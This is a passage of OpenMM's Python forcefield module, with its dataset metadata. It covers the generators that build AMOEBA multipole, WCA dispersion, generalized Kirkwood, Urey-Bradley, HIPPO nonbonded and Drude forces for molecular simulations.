in multipoleList:\n\n                    if (hit != 0):\n                        break\n\n                    kIndices = multipoleDict['kIndices']\n\n                    kz = kIndices[1]\n                    kx = kIndices[2]\n                    ky = kIndices[3]\n\n                    # assign multipole parameters\n                    #    (1) get bonded partners\n                    #    (2) match parameter types\n\n                    bondedAtom12Indices = bonded12ParticleSets[atomIndex]\n                    bondedAtom13Indices = bonded13ParticleSets[atomIndex]\n\n                    zaxis = -1\n                    xaxis = -1\n                    yaxis = -1\n\n                    for bondedAtomZIndex in bondedAtom12Indices:\n\n                       if (hit != 0):\n                           break\n\n                       bondedAtomZType = int(data.atomType[data.atoms[bondedAtomZIndex]])\n                       bondedAtomZ = data.atoms[bondedAtomZIndex]\n\n                       if (bondedAtomZType == kz):\n                          for bondedAtomXIndex in bondedAtom13Indices:\n\n                              if (bondedAtomXIndex == bondedAtomZIndex or hit != 0):\n                                  continue\n                              bondedAtomXType = int(data.atomType[data.atoms[bondedAtomXIndex]])\n                              if (bondedAtomXType == kx and bondedAtomZIndex in bonded12ParticleSets[bondedAtomXIndex]):\n                                  if (ky == 0):\n                                      zaxis = bondedAtomZIndex\n                                      xaxis = bondedAtomXIndex\n\n                                      # select xaxis w/ smallest index\n\n                                      for bondedAtomXIndex2 in bondedAtom13Indices:\n                                          bondedAtomX1Type = int(data.atomType[data.atoms[bondedAtomXIndex2]])\n                                          if( bondedAtomX1Type == kx and bondedAtomXIndex2 != bondedAtomZIndex and bondedAtomZIndex in bonded12ParticleSets[bondedAtomXIndex2] and bondedAtomXIndex2 < xaxis ):\n                                              xaxis = bondedAtomXIndex2\n\n                                      savedMultipoleDict = multipoleDict\n                                      hit = 3\n                                  else:\n                                      for bondedAtomYIndex in bondedAtom13Indices:\n                                          if (bondedAtomYIndex == bondedAtomZIndex or bondedAtomYIndex == bondedAtomXIndex or hit != 0):\n                                              continue\n                                          bondedAtomYType = int(data.atomType[data.atoms[bondedAtomYIndex]])\n                                          if (bondedAtomYType == ky and bondedAtomZIndex in bonded12ParticleSets[bondedAtomYIndex]):\n                                              zaxis = bondedAtomZIndex\n                                              xaxis = bondedAtomXIndex\n                                              yaxis = bondedAtomYIndex\n                                              savedMultipoleDict = multipoleDict\n                                              hit = 4\n\n                # assign multipole parameters via only a z-defining atom\n\n                for multipoleDict in multipoleList:\n\n                    if (hit != 0):\n                        break\n\n                    kIndices = multipoleDict['kIndices']\n\n                    kz = kIndices[1]\n                    kx = kIndices[2]\n\n                    zaxis = -1\n                    xaxis = -1\n                    yaxis = -1\n\n                    for bondedAtomZIndex in bondedAtom12Indices:\n\n                        if (hit != 0):\n                            break\n\n                        bondedAtomZType = int(data.atomType[data.atoms[bondedAtomZIndex]])\n                        bondedAtomZ = data.atoms[bondedAtomZIndex]\n\n                        if (kx == 0 and kz == bondedAtomZType):\n                            zaxis = bondedAtomZIndex\n                            savedMultipoleDict = multipoleDict\n                            hit = 5\n\n                # assign multipole parameters via no connected atoms\n\n                for multipoleDict in multipoleList:\n\n                    if (hit != 0):\n                        break\n\n                    kIndices = multipoleDict['kIndices']\n\n                    kz = kIndices[1]\n\n                    zaxis = -1\n                    xaxis = -1\n                    yaxis = -1\n\n                    if (kz == 0):\n                        savedMultipoleDict = multipoleDict\n                        hit = 6\n\n                # add particle if there was a hit\n\n                if (hit != 0):\n\n                    atom.multipoleDict = savedMultipoleDict\n                    atom.polarizationGroups = dict()\n                    newIndex = force.addMultipole(savedMultipoleDict['charge'], savedMultipoleDict['dipole'], savedMultipoleDict['quadrupole'], savedMultipoleDict['axisType'],\n                                                                 zaxis, xaxis, yaxis, savedMultipoleDict['thole'], savedMultipoleDict['pdamp'], savedMultipoleDict['polarizability'])\n                    if (atomIndex == newIndex):\n                        force.setCovalentMap(atomIndex, mm.AmoebaMultipoleForce.Covalent12, tuple(bonded12ParticleSets[atomIndex]))\n                        force.setCovalentMap(atomIndex, mm.AmoebaMultipoleForce.Covalent13, tuple(bonded13ParticleSets[atomIndex]))\n                        force.setCovalentMap(atomIndex, mm.AmoebaMultipoleForce.Covalent14, tuple(bonded14ParticleSets[atomIndex]))\n                        force.setCovalentMap(atomIndex, mm.AmoebaMultipoleForce.Covalent15, tuple(bonded15ParticleSets[atomIndex]))\n                    else:\n                        raise ValueError(\"Atom %s of %s %d is out of sync!.\" %(atom.name, atom.residue.name, atom.residue.index))\n                else:\n                    raise ValueError(\"Atom %s of %s %d was not assigned.\" %(atom.name, atom.residue.name, atom.residue.index))\n            else:\n                raise ValueError('No multipole type for atom %s %s %d' % (atom.name, atom.residue.name, atom.residue.index))\n\n        # set polar groups\n\n        self.setPolarGroups(data, bonded12ParticleSets, force)\n\nparsers[\"AmoebaMultipoleForce\"] = AmoebaMultipoleGenerator.parseElement\n\n#=============================================================================================\n\n## @private\nclass AmoebaWcaDispersionGenerator(object):\n\n    \"\"\"A AmoebaWcaDispersionGenerator constructs a AmoebaWcaDispersionForce.\"\"\"\n\n    #=========================================================================================\n\n    def __init__(self, epso, epsh, rmino, rminh, awater, slevy, dispoff, shctd):\n\n        self.epso = epso\n        self.epsh = epsh\n        self.rmino = rmino\n        self.rminh = rminh\n        self.awater = awater\n        self.slevy = slevy\n        self.dispoff = dispoff\n        self.shctd = shctd\n\n    #=========================================================================================\n\n    @staticmethod\n    def parseElement(element, forceField):\n\n        #  <AmoebaWcaDispersionForce epso=\"0.46024\" epsh=\"0.056484\" rmino=\"0.17025\" rminh=\"0.13275\" awater=\"33.428\" slevy=\"1.0\"  dispoff=\"0.026\" shctd=\"0.81\" >\n        #   <WcaDispersion class=\"1\" radius=\"0.1855\" epsilon=\"0.46024\" />\n        #   <WcaDispersion class=\"2\" radius=\"0.191\" epsilon=\"0.422584\" />\n\n        existing = [f for f in forceField._forces if isinstance(f, AmoebaWcaDispersionGenerator)]\n        if len(existing) == 0:\n            generator = AmoebaWcaDispersionGenerator(element.attrib['epso'],\n                                                     element.attrib['epsh'],\n                                                     element.attrib['rmino'],\n                                                     element.attrib['rminh'],\n                                                     element.attrib['awater'],\n                                                     element.attrib['slevy'],\n                                                     element.attrib['dispoff'],\n                                                     element.attrib['shctd'])\n            forceField.registerGenerator(generator)\n            generator.params = ForceField._AtomTypeParameters(forceField, 'AmoebaWcaDispersionForce', 'WcaDispersion', ('radius', 'epsilon'))\n        else:\n            # Multiple <AmoebaWcaDispersionForce> tags were found, probably in different files.  Simply add more types to the existing one.\n            generator = existing[0]\n        generator.params.parseDefinitions(element)\n\n    #=========================================================================================\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n\n        # get or create force depending on whether it has already been added to the system\n\n        existing = [f for f in sys.getForces() if type(f) == mm.AmoebaWcaDispersionForce]\n        if len(existing) == 0:\n            force = mm.AmoebaWcaDispersionForce()\n            sys.addForce(force)\n        else:\n            force = existing[0]\n\n        # add particles to force\n        # throw error if particle type not available\n\n        force.setEpso(   float(self.epso   ))\n        force.setEpsh(   float(self.epsh   ))\n        force.setRmino(  float(self.rmino  ))\n        force.setRminh(  float(self.rminh  ))\n        force.setDispoff(float(self.dispoff))\n        force.setSlevy(  float(self.slevy  ))\n        force.setAwater( float(self.awater ))\n        force.setShctd(  float(self.shctd  ))\n\n        for atom in data.atoms:\n            values = self.params.getAtomParameters(atom, data)\n            force.addParticle(values[0], values[1])\n\nparsers[\"AmoebaWcaDispersionForce\"] = AmoebaWcaDispersionGenerator.parseElement\n\n#=============================================================================================\n\n## @private\nclass AmoebaGeneralizedKirkwoodGenerator(object):\n\n    \"\"\"A AmoebaGeneralizedKirkwoodGenerator constructs a AmoebaGeneralizedKirkwoodForce.\"\"\"\n\n    #=========================================================================================\n\n    def __init__(self, forceField, solventDielectric, soluteDielectric, includeCavityTerm, probeRadius, surfaceAreaFactor):\n\n        self.forceField = forceField\n        self.solventDielectric = solventDielectric\n        self.soluteDielectric = soluteDielectric\n        self.includeCavityTerm = includeCavityTerm\n        self.probeRadius = probeRadius\n        self.surfaceAreaFactor = surfaceAreaFactor\n\n        self.radiusTypeMap = {}\n        self.radiusTypeMap['Bondi'] = {}\n        bondiMap = self.radiusTypeMap['Bondi']\n        rscale = 1.03\n\n        bondiMap[0] = 0.00\n        bondiMap[1] = 0.12*rscale\n        bondiMap[2] = 0.14*rscale\n        bondiMap[5] = 0.18*rscale\n\n        bondiMap[6] = 0.170*rscale\n        bondiMap[7] = 0.155*rscale\n        bondiMap[8] = 0.152*rscale\n        bondiMap[9] = 0.147*rscale\n\n        bondiMap[10] = 0.154*rscale\n        bondiMap[14] = 0.210*rscale\n        bondiMap[15] = 0.180*rscale\n        bondiMap[16] = 0.180*rscale\n\n        bondiMap[17] = 0.175 *rscale\n        bondiMap[18] = 0.188*rscale\n        bondiMap[34] = 0.190*rscale\n        bondiMap[35] = 0.185*rscale\n\n        bondiMap[36] = 0.202*rscale\n        bondiMap[53] = 0.198*rscale\n        bondiMap[54] = 0.216*rscale\n\n    #=========================================================================================\n\n    def getObcShct(self, data, atomIndex):\n\n        atom = data.atoms[atomIndex]\n        atomicNumber = atom.element.atomic_number\n        shct = -1.0\n\n        # shct\n\n        if (atomicNumber == 1):                 # H(1)\n            shct = 0.85\n        elif (atomicNumber == 6):               # C(6)\n            shct = 0.72\n        elif (atomicNumber == 7):               # N(7)\n            shct = 0.79\n        elif (atomicNumber == 8):               # O(8)\n            shct = 0.85\n        elif (atomicNumber == 9):               # F(9)\n            shct = 0.88\n        elif (atomicNumber == 15):              # P(15)\n            shct = 0.86\n        elif (atomicNumber == 16):              # S(16)\n            shct = 0.96\n        elif (atomicNumber == 26):              # Fe(26)\n            shct = 0.88\n\n        if (shct < 0.0):\n            raise ValueError( \"getObcShct: no GK overlap scale factor for atom %s of %s %d\" % (atom.name, atom.residue.name, atom.residue.index) )\n\n        return shct\n\n    #=========================================================================================\n\n    def getAmoebaTypeRadius(self, data, bondedAtomIndices, atomIndex):\n\n        atom = data.atoms[atomIndex]\n        atomicNumber = atom.element.atomic_number\n        radius = -1.0\n\n        if (atomicNumber == 1):                  # H(1)\n\n            radius = 0.132\n\n            if (len(bondedAtomIndices) < 1):\n                 raise ValueError( \"AmoebaGeneralizedKirkwoodGenerator: error getting atom bonded to %s of %s %d \" % (atom.name, atom.residue.name, atom.residue.index) )\n\n            for bondedAtomIndex in bondedAtomIndices:\n                bondedAtomAtomicNumber = data.atoms[bondedAtomIndex].element.atomic_number\n\n            if (bondedAtomAtomicNumber == 7):\n                radius = 0.11\n            if (bondedAtomAtomicNumber == 8):\n                radius = 0.105\n\n        elif (atomicNumber == 3):               # Li(3)\n            radius = 0.15\n        elif (atomicNumber == 6):               # C(6)\n\n            radius = 0.20\n            if (len(bondedAtomIndices) == 3):\n                radius = 0.205\n\n            elif (len(bondedAtomIndices) == 4):\n                for bondedAtomIndex in bondedAtomIndices:\n                   bondedAtomAtomicNumber = data.atoms[bondedAtomIndex].element.atomic_number\n                   if (bondedAtomAtomicNumber == 7 or bondedAtomAtomicNumber == 8):\n                       radius = 0.175\n\n        elif (atomicNumber == 7):               # N(7)\n            radius = 0.16\n        elif (atomicNumber == 8):               # O(8)\n            radius = 0.155\n            if (len(bondedAtomIndices) == 2):\n                radius = 0.145\n        elif (atomicNumber == 9):               # F(9)\n            radius = 0.154\n        elif (atomicNumber == 10):\n            radius = 0.146\n        elif (atomicNumber == 11):\n            radius = 0.209\n        elif (atomicNumber == 12):\n            radius = 0.179\n        elif (atomicNumber == 14):\n            radius = 0.189\n        elif (atomicNumber == 15):              # P(15)\n            radius = 0.196\n        elif (atomicNumber == 16):              # S(16)\n            radius = 0.186\n        elif (atomicNumber == 17):\n            radius = 0.182\n        elif (atomicNumber == 18):\n            radius = 0.179\n        elif (atomicNumber == 19):\n            radius = 0.223\n        elif (atomicNumber == 20):\n            radius = 0.191\n        elif (atomicNumber == 35):\n            radius = 2.00\n        elif (atomicNumber == 36):\n            radius = 0.190\n        elif (atomicNumber == 37):\n            radius = 0.226\n        elif (atomicNumber == 53):\n            radius = 0.237\n        elif (atomicNumber == 54):\n            radius = 0.207\n        elif (atomicNumber == 55):\n            radius = 0.263\n        elif (atomicNumber == 56):\n            radius = 0.230\n\n        if (radius < 0.0):\n            outputString = \"No GK radius for atom %s of %s %d\" % (atom.name, atom.residue.name, atom.residue.index)\n            raise ValueError( outputString )\n\n        return radius\n\n    #=========================================================================================\n\n    def getBondiTypeRadius(self, data, bondedAtomIndices, atomIndex):\n\n        bondiMap = self.radiusTypeMap['Bondi']\n        atom = data.atoms[atomIndex]\n        atomicNumber = atom.element.atomic_number\n        if (atomicNumber in bondiMap):\n            radius = bondiMap[atomicNumber]\n        else:\n            outputString = \"Warning no Bondi radius for atom %s of %s %d using default value\" % (atom.name, atom.residue.name, atom.residue.index)\n            raise ValueError( outputString )\n\n        return radius\n\n    #=========================================================================================\n\n    @staticmethod\n    def parseElement(element, forceField):\n\n        #  <AmoebaGeneralizedKirkwoodForce solventDielectric=\"78.3\" soluteDielectric=\"1.0\" includeCavityTerm=\"1\" probeRadius=\"0.14\" surfaceAreaFactor=\"-170.351730663\">\n        #   <GeneralizedKirkwood type=\"1\" charge=\"-0.22620\" shct=\"0.79\"  />\n        #   <GeneralizedKirkwood type=\"2\" charge=\"-0.15245\" shct=\"0.72\"  />\n\n        existing = [f for f in forceField._forces if isinstance(f, AmoebaGeneralizedKirkwoodGenerator)]\n        if len(existing) == 0:\n            generator = AmoebaGeneralizedKirkwoodGenerator(forceField, element.attrib['solventDielectric'],\n                                                           element.attrib['soluteDielectric'],\n                                                           element.attrib['includeCavityTerm'],\n                                                           element.attrib['probeRadius'],\n                                                           element.attrib['surfaceAreaFactor'])\n            forceField.registerGenerator(generator)\n        else:\n            # Multiple <AmoebaGeneralizedKirkwoodFprce> tags were found, probably in different files.  Simply add more types to the existing one.\n            generator = existing[0]\n\n    #=========================================================================================\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n\n        if( nonbondedMethod != NoCutoff ):\n            raise ValueError( \"Only the nonbondedMethod=NoCutoff option is available for implicit solvent simulations.\" )\n\n        # check if AmoebaMultipoleForce exists since charges needed\n        # if it has not been created, raise an error\n\n        amoebaMultipoleForceList = [f for f in sys.getForces() if type(f) == mm.AmoebaMultipoleForce]\n        if (len(amoebaMultipoleForceList) > 0):\n            amoebaMultipoleForce = amoebaMultipoleForceList[0]\n        else:\n            # call AmoebaMultipoleForceGenerator.createForce() to ensure charges have been set\n\n            for force in self.forceField._forces:\n                if (force.__class__.__name__ == 'AmoebaMultipoleGenerator'):\n                    force.createForce(sys, data, nonbondedMethod, nonbondedCutoff, args)\n\n        # get or create force depending on whether it has already been added to the system\n\n        existing = [f for f in sys.getForces() if type(f) == mm.AmoebaGeneralizedKirkwoodForce]\n        if len(existing) == 0:\n\n            force = mm.AmoebaGeneralizedKirkwoodForce()\n            sys.addForce(force)\n\n            if ('solventDielectric' in args):\n                force.setSolventDielectric(float(args['solventDielectric']))\n            else:\n                force.setSolventDielectric(   float(self.solventDielectric))\n\n            if ('soluteDielectric' in args):\n                force.setSoluteDielectric(float(args['soluteDielectric']))\n            else:\n                force.setSoluteDielectric(    float(self.soluteDielectric))\n\n            if ('includeCavityTerm' in args):\n                force.setIncludeCavityTerm(int(args['includeCavityTerm']))\n            else:\n               force.setIncludeCavityTerm(   int(self.includeCavityTerm))\n\n        else:\n            force = existing[0]\n\n        # add particles to force\n        # throw error if particle type not available\n\n        force.setProbeRadius(         float(self.probeRadius))\n        force.setSurfaceAreaFactor(   float(self.surfaceAreaFactor))\n\n        # 1-2\n\n        bonded12ParticleSets = AmoebaVdwGenerator.getBondedParticleSets(sys, data)\n\n        radiusType = 'Bondi'\n        for atomIndex in range(0, amoebaMultipoleForce.getNumMultipoles()):\n            multipoleParameters = amoebaMultipoleForce.getMultipoleParameters(atomIndex)\n            if (radiusType == 'Amoeba'):\n                radius = self.getAmoebaTypeRadius(data, bonded12ParticleSets[atomIndex], atomIndex)\n            else:\n                radius = self.getBondiTypeRadius(data, bonded12ParticleSets[atomIndex], atomIndex)\n            #shct = self.getObcShct(data, atomIndex)\n            shct = 0.69\n            force.addParticle(multipoleParameters[0], radius, shct)\n\nparsers[\"AmoebaGeneralizedKirkwoodForce\"] = AmoebaGeneralizedKirkwoodGenerator.parseElement\n\n#=============================================================================================\n\n## @private\nclass AmoebaUreyBradleyGenerator(object):\n\n    #=============================================================================================\n    \"\"\"An AmoebaUreyBradleyGenerator constructs a AmoebaUreyBradleyForce.\"\"\"\n    #=============================================================================================\n\n    def __init__(self):\n\n        self.anglesForAtom2Type = defaultdict(list)\n        self.types1 = []\n        self.types2 = []\n        self.types3 = []\n\n        self.length = []\n        self.k = []\n\n    #=============================================================================================\n\n    @staticmethod\n    def parseElement(element, forceField):\n\n        #  <AmoebaUreyBradleyForce>\n        #   <UreyBradley class1=\"74\" class2=\"73\" class3=\"74\" k=\"16003.8\" d=\"0.15537\" />\n\n        generator = AmoebaUreyBradleyGenerator()\n        forceField._forces.append(generator)\n        for bond in element.findall('UreyBradley'):\n            types = forceField._findAtomTypes(bond.attrib, 3)\n            if None not in types:\n                index = len(generator.types1)\n                generator.types1.append(types[0])\n                generator.types2.append(types[1])\n                generator.types3.append(types[2])\n                for t in types[1]:\n                    generator.anglesForAtom2Type[t].append(index)\n                generator.length.append(float(bond.attrib['d']))\n                generator.k.append(float(bond.attrib['k']))\n\n    #=============================================================================================\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n\n        existing = [f for f in sys.getForces() if type(f) == mm.HarmonicBondForce]\n\n        if len(existing) == 0:\n            force = mm.HarmonicBondForce()\n            sys.addForce(force)\n        else:\n            force = existing[0]\n\n        for (angle, isConstrained) in zip(data.angles, data.isAngleConstrained):\n            if (isConstrained and not args.get('flexibleConstraints', False)):\n                continue\n            type1 = data.atomType[data.atoms[angle[0]]]\n            type2 = data.atomType[data.atoms[angle[1]]]\n            type3 = data.atomType[data.atoms[angle[2]]]\n            for i in self.anglesForAtom2Type[type2]:\n                types1 = self.types1[i]\n                types2 = self.types2[i]\n                types3 = self.types3[i]\n                if ((type1 in types1 and type2 in types2 and type3 in types3) or (type3 in types1 and type2 in types2 and type1 in types3)):\n                    force.addBond(angle[0], angle[2], self.length[i], 2*self.k[i])\n                    break\n\nparsers[\"AmoebaUreyBradleyForce\"] = AmoebaUreyBradleyGenerator.parseElement\n\n#=============================================================================================\n\n\n## @private\nclass HippoNonbondedGenerator(object):\n    \"\"\"A HippoNonbondedGenerator constructs a HippoNonbondedForce.\"\"\"\n\n    def __init__(self, forcefield, extrapCoeff):\n        self.ff = forcefield\n        self.extrapCoeff = extrapCoeff\n        self.exceptions = {}\n\n    @staticmethod\n    def parseElement(element, ff):\n        extrapCoeff = [float(c) for c in element.attrib['extrapolationCoefficients'].split(',')]\n        generator = HippoNonbondedGenerator(ff, extrapCoeff)\n        ff.registerGenerator(generator)\n        scaleNames = ('mmScale', 'dmScale', 'ddScale', 'dispScale', 'repScale', 'ctScale')\n        paramNames = ('charge', 'coreCharge', 'alpha', 'epsilon', 'damping', 'c6', 'pauliK', 'pauliQ', 'pauliAlpha', 'polarizability', 'axisType', 'd0', 'd1', 'd2', 'q11', 'q12', 'q13', 'q21', 'q22', 'q23', 'q31', 'q32', 'q33')\n        for ex in element.findall('Exception'):\n            separation = int(ex.attrib['separation'])\n            ingroup = ex.attrib['ingroup'].lower() == 'true'\n            key = (separation, ingroup)\n            if key in generator.exceptions:\n                raise ValueError('HippoNonbondedForce: multiple exceptions with separation=%d ingroup=%s' % (separation, ingroup))\n            generator.exceptions[key] = [float(ex.attrib[s]) for s in scaleNames]\n        generator.params = ForceField._AtomTypeParameters(ff, 'HippoNonbondedForce', 'Atom', paramNames)\n        generator.params.parseDefinitions(element)\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        methodMap = {NoCutoff:mm.HippoNonbondedForce.NoCutoff,\n                     PME:mm.HippoNonbondedForce.PME}\n        if nonbondedMethod not in methodMap:\n            raise ValueError('Illegal nonbonded method for HippoNonbondedForce')\n\n        # Build data structures we'll need for building local coordinate frames.\n\n        bondIndices = _findBondsForExclusions(data, sys)\n        pairs = _findExclusions(bondIndices, 2, len(data.atoms))\n        bonded12 = [set() for i in range(len(data.atoms))]\n        bonded13 = [set() for i in range(len(data.atoms))]\n        for atom1, atom2, sep in pairs:\n            if sep == 1:\n                bonded12[atom1].add(data.atoms[atom2])\n                bonded12[atom2].add(data.atoms[atom1])\n            else:\n                bonded13[atom1].add(data.atoms[atom2])\n                bonded13[atom2].add(data.atoms[atom1])\n\n        # Create the force.\n\n        force = mm.HippoNonbondedForce()\n        for atom in data.atoms:\n            values = self.params.getAtomParameters(atom, data)\n            params = [float(v) for v in values[:10]]\n            axisType = int(values[10])\n            dipole = [float(v) for v in values[11:14]]\n            quadrupole = [float(v) for v in values[14:23]]\n            extra = self.params.getExtraParameters(atom, data)\n            zAtom = self._findAxisAtom('zAtomType', extra, bonded12[atom.index], None, data, [])\n            xAtom = self._findAxisAtom('xAtomType', extra, bonded12[atom.index], bonded13[atom.index], data, [zAtom])\n            yAtom = self._findAxisAtom('yAtomType', extra, bonded12[atom.index], bonded13[atom.index], data, [zAtom, xAtom])\n            force.addParticle(params[0], dipole, quadrupole, *params[1:], axisType=axisType, multipoleAtomZ=zAtom, multipoleAtomX=xAtom, multipoleAtomY=yAtom)\n        force.setNonbondedMethod(methodMap[nonbondedMethod])\n        force.setExtrapolationCoefficients(self.extrapCoeff)\n        force.setCutoffDistance(nonbondedCutoff)\n        if args['switchDistance'] is not None:\n            force.setSwitchingDistance(args['switchDistance'])\n        if 'ewaldErrorTolerance' in args:\n            force.setEwaldErrorTolerance(args['ewaldErrorTolerance'])\n        sys.addForce(force)\n\n    def _findAxisAtom(self, paramName, params, bonded12, bonded13, data, exclude):\n        if paramName not in params:\n            return -1\n        atomType = params[paramName]\n        for atom in bonded12:\n            if data.atomType[atom] == atomType and atom.index not in exclude:\n                return atom.index\n        if bonded13 is not None:\n            for atom in bonded13:\n                if data.atomType[atom] == atomType and atom.index not in exclude:\n                    return atom.index\n        raise ValueError('No bonded atom of type %s' % atomType)\n\n    def postprocessSystem(self, sys, data, args):\n        # Identify polarization groups.\n\n        bondIndices = _findBondsForExclusions(data, sys)\n        groupBondTypes = [self.params.getExtraParameters(atom, data)['groupTypes'].split(',') for atom in data.atoms]\n        groupBonds = [[] for i in range(len(data.atoms))]\n        for i,j in bondIndices:\n            if data.atomType[data.atoms[i]] in groupBondTypes[j]:\n                groupBonds[i].append(j)\n                groupBonds[j].append(i)\n        polarizationGroup = _findGroups(groupBonds)\n\n        # Create the exclusions.\n\n        maxSeparation = max(e[0] for e in self.exceptions)\n        hippo = [f for f in sys.getForces() if isinstance(f, mm.HippoNonbondedForce)][0]\n        pairs = _findExclusions(bondIndices, maxSeparation, hippo.getNumParticles())\n        for atom1, atom2, sep in pairs:\n            params = self.exceptions[(sep, polarizationGroup[atom1] == polarizationGroup[atom2])]\n            hippo.addException(atom1, atom2, *params)\n\nparsers[\"HippoNonbondedForce\"] = HippoNonbondedGenerator.parseElement\n\n\n## @private\nclass DrudeGenerator(object):\n    \"\"\"A DrudeGenerator constructs a DrudeForce.\"\"\"\n\n    def __init__(self, forcefield):\n        self.ff = forcefield\n        self.typeMap = {}\n\n    @staticmethod\n    def parseElement(element, ff):\n        existing = [f for f in ff._forces if isinstance(f, DrudeGenerator)]\n        if len(existing) == 0:\n            generator = DrudeGenerator(ff)\n            ff.registerGenerator(generator)\n        else:\n            # Multiple <DrudeForce> tags were found, probably in different files.  Simply add more types to the existing one.\n            generator = existing[0]\n        for particle in element.findall('Particle'):\n            types = ff._findAtomTypes(particle.attrib, 5)\n            if None not in types[:2]:\n                aniso12 = 0.0\n                aniso34 = 0.0\n                if 'aniso12' in particle.attrib:\n                    aniso12 = float(particle.attrib['aniso12'])\n                if 'aniso34' in particle.attrib:\n                    aniso34 = float(particle.attrib['aniso34'])\n                values = (types[1], types[2], types[3], types[4], float(particle.attrib['charge']), float(particle.attrib['polarizability']), aniso12, aniso34, float(particle.attrib['thole']))\n                for t in types[0]:\n                    generator.typeMap[t] = values\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        force = mm.DrudeForce()\n        if not any(isinstance(f, mm.NonbondedForce) for f in sys.getForces()):\n            raise ValueError('<DrudeForce> must come after <NonbondedForce> in XML file')\n\n        # Add Drude particles.\n\n        for atom in data.atoms:\n            t = data.atomType[atom]\n            if t in self.typeMap:\n                # Find other atoms in the residue that affect the Drude particle.\n                p = [-1, -1, -1, -1]\n                values = self.typeMap[t]\n                for atom2 in atom.residue.atoms():\n                    type2 = data.atomType[atom2]\n                    if type2 in values[0]:\n                        p[0] = atom2.index\n                    elif values[1] is not None and type2 in values[1]:\n                        p[1] = atom2.index\n                    elif values[2] is not None and type2 in values[2]:\n                        p[2] = atom2.index\n                    elif values[3] is not None and type2 in values[3]:\n                        p[3] = atom2.index\n                force.addParticle(atom.index, p[0], p[1], p[2], p[3], values[4], values[5], values[6], values[7])\n                data.excludeAtomWith[p[0]].append(atom.index)\n        sys.addForce(force)\n\n    def postprocessSystem(self, sys, data, args):\n        # For every nonbonded exclusion between Drude particles, add a screened pair.\n\n        drude = [f for f in sys.getForces() if isinstance(f, mm.DrudeForce)][0]\n        nonbonded = [f for f in sys.getForces() if isinstance(f, mm.NonbondedForce)][0]\n        particleMap = {}\n        for i in range(drude.getNumParticles()):\n            particleMap[drude.getParticleParameters(i)[0]] = i\n        for i in range(nonbonded.getNumExceptions()):\n            (particle1, particle2, charge, sigma, epsilon) = nonbonded.getExceptionParameters(i)\n            if charge._value == 0 and epsilon._value == 0:\n                # This is an exclusion.\n                if particle1 in particleMap and particle2 in particleMap:\n                    # It connects two Drude particles, so add a screened pair.\n                    drude1 = particleMap[particle1]\n                    drude2 = particleMap[particle2]\n                    type1 = data.atomType[data.atoms[particle1]]\n                    type2 = data.atomType[data.atoms[particle2]]\n                    thole1 = self.typeMap[type1][8]\n                    thole2 = self.typeMap[type2][8]\n                    drude.addScreenedPair(drude1, drude2, thole1+thole2)\n\n        # Set the masses of Drude particles.\n\n        drudeMass = args['drudeMass']\n        if not unit.is_quantity(drudeMass):\n            drudeMass *= unit.dalton\n        for i in range(drude.getNumParticles()):\n            params = drude.getParticleParameters(i)\n            particle = params[0]\n            parent = params[1]\n            transferMass = drudeMass-sys.getParticleMass(particle)\n            sys.setParticleMass(particle, drudeMass)\n            sys.setParticleMass(parent, sys.getParticleMass(parent)-transferMass)\n\nparsers[\"DrudeForce\"] = DrudeGenerator.parseElement\n\n#=============================================================================================\n", "repo_name": "openmm/openmm", "sub_path": "wrappers/python/openmm/app/forcefield.py", "file_name": "forcefield.py", "file_ext": "py", "file_size_in_byte": 285716, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1274, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 28, "usage_type": "call"}, {"api_name": "importlib_metadata.entry_points", "line_number": 31, "usage_type": "call"}, {"api_name": "openmm.unit.is_quantity", "line_number": 38, "usage_type": "call"}, {"api_name": "openmm.unit", "line_number": 38, "usage_type": "name"}, {"api_name": "openmm.unit.bar", "line_number": 39, "usage_type": "attribute"}, {"api_name": "openmm.unit", "line_number": 39, "usage_type": "name"}, {"api_name": "openmm.unit.bar", "line_number": 40, "usage_type": "attribute"}, {"api_name": "openmm.unit", "line_number": 40, "usage_type": "name"}, {"api_name": "openmm.unit.md_unit_system", "line_number": 41, "usage_type": "attribute"}, {"api_name": "openmm.unit", "line_number": 41, "usage_type": "name"}, {"api_name": "openmm.Continuous1DFunction", "line_number": 74, "usage_type": "call"}, {"api_name": "openmm.Continuous2DFunction", "line_number": 79, "usage_type": "call"}, {"api_name": "openmm.Continuous3DFunction", "line_number": 90, "usage_type": "call"}, {"api_name": "openmm.Discrete1DFunction", "line_number": 100, "usage_type": "call"}, {"api_name": "openmm.Discrete2DFunction", "line_number": 102, "usage_type": "call"}, {"api_name": "openmm.Discrete3DFunction", "line_number": 104, "usage_type": "call"}, {"api_name": "openmm.app.internal.singleton.Singleton", "line_number": 108, "usage_type": "name"}, {"api_name": "openmm.app.internal.singleton.Singleton", "line_number": 113, "usage_type": "name"}, {"api_name": "openmm.app.internal.singleton.Singleton", "line_number": 118, "usage_type": "name"}, {"api_name": "openmm.app.internal.singleton.Singleton", "line_number": 123, "usage_type": "name"}, {"api_name": "openmm.app.internal.singleton.Singleton", "line_number": 128, "usage_type": "name"}, {"api_name": "openmm.app.internal.singleton.Singleton", "line_number": 133, "usage_type": "name"}, {"api_name": "openmm.app.internal.singleton.Singleton", "line_number": 140, "usage_type": "name"}, {"api_name": "openmm.app.internal.singleton.Singleton", "line_number": 145, "usage_type": "name"}, {"api_name": "openmm.app.internal.singleton.Singleton", "line_number": 150, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 215, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 215, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 218, "usage_type": "call"}, {"api_name": "os.path", "line_number": 218, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 219, "usage_type": "call"}, {"api_name": "os.path", "line_number": 219, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 220, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 220, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 242, "usage_type": "call"}, {"api_name": "os.path", 